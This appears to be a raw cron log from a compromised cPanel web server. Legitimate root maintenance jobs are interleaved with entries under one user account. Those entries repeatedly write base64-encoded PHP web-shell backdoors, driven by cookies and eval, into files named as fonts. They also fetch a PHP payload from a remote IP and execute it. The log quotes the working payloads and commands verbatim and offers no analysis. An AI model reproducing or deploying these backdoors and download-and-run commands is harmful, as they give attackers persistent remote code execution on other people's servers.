Sep  1 22:32:01 ip-184-168-122-23 CROND[1585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:32:01 ip-184-168-122-23 CROND[1587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:32:01 ip-184-168-122-23 CROND[1586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:32:01 ip-184-168-122-23 CROND[1588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:33:01 ip-184-168-122-23 CROND[1668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:33:01 ip-184-168-122-23 CROND[1669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:33:01 ip-184-168-122-23 CROND[1672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:33:01 ip-184-168-122-23 CROND[1673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:34:01 ip-184-168-122-23 CROND[1766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:34:01 ip-184-168-122-23 CROND[1768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:34:01 ip-184-168-122-23 CROND[1769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:34:01 ip-184-168-122-23 CROND[1770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:34:01 ip-184-168-122-23 CROND[1771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:35:01 ip-184-168-122-23 CROND[1949]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 22:35:01 ip-184-168-122-23 CROND[1955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:35:01 ip-184-168-122-23 CROND[1953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:35:01 ip-184-168-122-23 CROND[1952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:35:01 ip-184-168-122-23 CROND[1954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:35:01 ip-184-168-122-23 CROND[1957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:35:01 ip-184-168-122-23 CROND[1956]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 22:35:01 ip-184-168-122-23 CROND[1951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:36:01 ip-184-168-122-23 CROND[2058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:36:01 ip-184-168-122-23 CROND[2060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:36:01 ip-184-168-122-23 CROND[2061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:36:01 ip-184-168-122-23 CROND[2063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:36:01 ip-184-168-122-23 CROND[2062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:37:01 ip-184-168-122-23 CROND[2151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:37:01 ip-184-168-122-23 CROND[2152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:37:01 ip-184-168-122-23 CROND[2154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:37:01 ip-184-168-122-23 CROND[2155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:38:01 ip-184-168-122-23 CROND[2245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:38:01 ip-184-168-122-23 CROND[2247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:38:01 ip-184-168-122-23 CROND[2250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:38:01 ip-184-168-122-23 CROND[2248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:38:01 ip-184-168-122-23 CROND[2249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:39:01 ip-184-168-122-23 CROND[2331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:39:01 ip-184-168-122-23 CROND[2333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:39:01 ip-184-168-122-23 CROND[2336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:39:01 ip-184-168-122-23 CROND[2335]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 22:39:01 ip-184-168-122-23 CROND[2334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:40:01 ip-184-168-122-23 CROND[2512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:40:01 ip-184-168-122-23 CROND[2514]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:40:01 ip-184-168-122-23 CROND[2516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:40:01 ip-184-168-122-23 CROND[2521]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:40:01 ip-184-168-122-23 CROND[2517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:40:01 ip-184-168-122-23 CROND[2522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:40:01 ip-184-168-122-23 CROND[2519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:40:01 ip-184-168-122-23 CROND[2524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:41:01 ip-184-168-122-23 CROND[2628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:41:01 ip-184-168-122-23 CROND[2630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:41:01 ip-184-168-122-23 CROND[2632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:41:01 ip-184-168-122-23 CROND[2634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:42:01 ip-184-168-122-23 CROND[2709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:42:01 ip-184-168-122-23 CROND[2711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:42:01 ip-184-168-122-23 CROND[2712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:42:01 ip-184-168-122-23 CROND[2715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:42:01 ip-184-168-122-23 CROND[2713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:43:01 ip-184-168-122-23 CROND[2799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:43:01 ip-184-168-122-23 CROND[2801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:43:01 ip-184-168-122-23 CROND[2802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:43:01 ip-184-168-122-23 CROND[2803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:44:01 ip-184-168-122-23 CROND[2882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:44:01 ip-184-168-122-23 CROND[2883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
